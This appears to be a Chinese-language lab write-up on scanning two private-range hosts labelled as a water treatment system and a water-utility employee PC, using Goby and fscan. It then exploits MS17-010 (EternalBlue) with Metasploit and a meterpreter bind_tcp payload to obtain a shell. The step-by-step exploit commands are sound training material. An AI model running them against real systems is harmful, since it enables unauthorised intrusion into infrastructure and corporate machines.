漏洞扫描技术

（一）、对水处理系统  192.168.80.15进行漏洞扫描

  1、使用goby对水处理系统（192.168.80.15）进行漏洞扫描，扫描结束可以发现有ssrf漏洞

  2、使用fscan进行扫描，在命令行输入fscan-main_Windows_x64.exe -h 192.168.80.15

 

（二）对广诚水利员工机 192.168.80.19进行漏洞扫描

   1、使用goby对广诚水利员工机（192.168.80.19）进行漏洞扫描，扫描结束可以发现有永恒之蓝漏洞

2、使用fscan进行扫描，在命令行输入fscan-main_Windows_x64.exe -h 192.168.80.19，同样发现发现有永恒之蓝漏洞

3、在kali中启动msf，search ms17 寻找模块

  4、use 0，查看options，设置rhosts和payload

  set rhosts 192.168.80.19

set payload windows/x64/meterpreter/bind_tcp

 5、run运行

  成功拿到shell，输入shell查看版本信息，输入whoami查看当前登录的用户信息